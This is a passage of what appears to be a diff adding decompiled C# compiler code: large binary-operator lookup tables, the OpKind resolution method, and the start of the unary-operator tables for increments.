BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + } + }; + + private static readonly BinaryOperatorKind[][,] s_opkind = new BinaryOperatorKind[17][,] + { + s_arithmetic, s_addition, s_arithmetic, s_arithmetic, s_arithmetic, s_shift, s_shift, s_equality, s_equality, s_arithmetic, + s_arithmetic, s_arithmetic, s_arithmetic, s_logical, s_logical, s_logical, s_shift + }; + + public static BinaryOperatorKind OpKind(BinaryOperatorKind kind, TypeSymbol left, TypeSymbol right) + { + int num = left.TypeToIndex(); + if (num < 0) + { + return BinaryOperatorKind.Error; + } + int num2 = right.TypeToIndex(); + if (num2 < 0) + { + return BinaryOperatorKind.Error; + } + BinaryOperatorKind binaryOperatorKind = BinaryOperatorKind.Error; + if (!kind.IsLogical() || (num == 15 && num2 == 15)) + { + binaryOperatorKind = s_opkind[kind.OperatorIndex()][num, num2]; + } + if (binaryOperatorKind != BinaryOperatorKind.Error) + { + return binaryOperatorKind | kind; + } + return binaryOperatorKind; + } + } + + private enum LiftingResult + { + NotLifted, + LiftOperandsAndResult, + LiftOperandsButNotResult + } + + internal static class UnopEasyOut + { + private const UnaryOperatorKind ERR = UnaryOperatorKind.Error; + + private const UnaryOperatorKind BOL = UnaryOperatorKind.Bool; + + private const UnaryOperatorKind CHR = UnaryOperatorKind.Char; + + private const UnaryOperatorKind I08 = UnaryOperatorKind.SByte; + + private const UnaryOperatorKind U08 = UnaryOperatorKind.Byte; + + private const UnaryOperatorKind I16 = UnaryOperatorKind.Short; + + private const UnaryOperatorKind U16 = UnaryOperatorKind.UShort; + + private const UnaryOperatorKind I32 = UnaryOperatorKind.Int; + + private const UnaryOperatorKind U32 = UnaryOperatorKind.UInt; + + private const UnaryOperatorKind I64 = UnaryOperatorKind.Long; + + private const UnaryOperatorKind U64 = UnaryOperatorKind.ULong; + + private const UnaryOperatorKind NIN = UnaryOperatorKind.NInt; + + private const UnaryOperatorKind NUI = UnaryOperatorKind.NUInt; + + private const UnaryOperatorKind R32 = UnaryOperatorKind.Float; + + private const UnaryOperatorKind R64 = UnaryOperatorKind.Double; + + private const UnaryOperatorKind DEC = UnaryOperatorKind.Decimal; + + private const UnaryOperatorKind LBOL = UnaryOperatorKind.Bool | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LCHR = UnaryOperatorKind.Char | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LI08 = UnaryOperatorKind.SByte | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LU08 = UnaryOperatorKind.Byte | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LI16 = UnaryOperatorKind.Short | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LU16 = UnaryOperatorKind.UShort | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LI32 = UnaryOperatorKind.Int | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LU32 = UnaryOperatorKind.UInt | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LI64 = UnaryOperatorKind.Long | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LU64 = UnaryOperatorKind.ULong | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LNI = UnaryOperatorKind.NInt | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LNU = UnaryOperatorKind.NUInt | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LR32 = UnaryOperatorKind.Float | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LR64 = UnaryOperatorKind.Double | UnaryOperatorKind.Lifted; + + private const UnaryOperatorKind LDEC = UnaryOperatorKind.Decimal | UnaryOperatorKind.Lifted; + + private static readonly UnaryOperatorKind[] s_increment = new UnaryOperatorKind[32] + { + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Error, + UnaryOperatorKind.Char, + UnaryOperatorKind.SByte, + UnaryOperatorKind.Short, + UnaryOperatorKind.Int, + UnaryOperatorKind.Long, + UnaryOperatorKind.Byte, + UnaryOperatorKind.UShort, + UnaryOperatorKind.UInt, + UnaryOperatorKind.ULong, + UnaryOperatorKind.NInt, + UnaryOperatorKind.NUInt, + UnaryOperatorKind.Float, + UnaryOperatorKind.Double, + UnaryOperatorKind.Decimal, + UnaryOperatorKind.Error, + UnaryOperatorKind.Char | UnaryOperatorKind.Lifted, + UnaryOperatorKind.SByte | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Short | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Int | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Long | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Byte | UnaryOperatorKind.Lifted, + UnaryOperatorKind.UShort | UnaryOperatorKind.Lifted, + UnaryOperatorKind.UInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.ULong | UnaryOperatorKind.Lifted, + UnaryOperatorKind.NInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.NUInt | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Float | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Double | UnaryOperatorKind.Lifted, + UnaryOperatorKind.Decimal | UnaryOperatorKind.Lifted + }; + + private static readonly UnaryOperatorKind[] s_plus = new UnaryOperatorKind[32] + { + 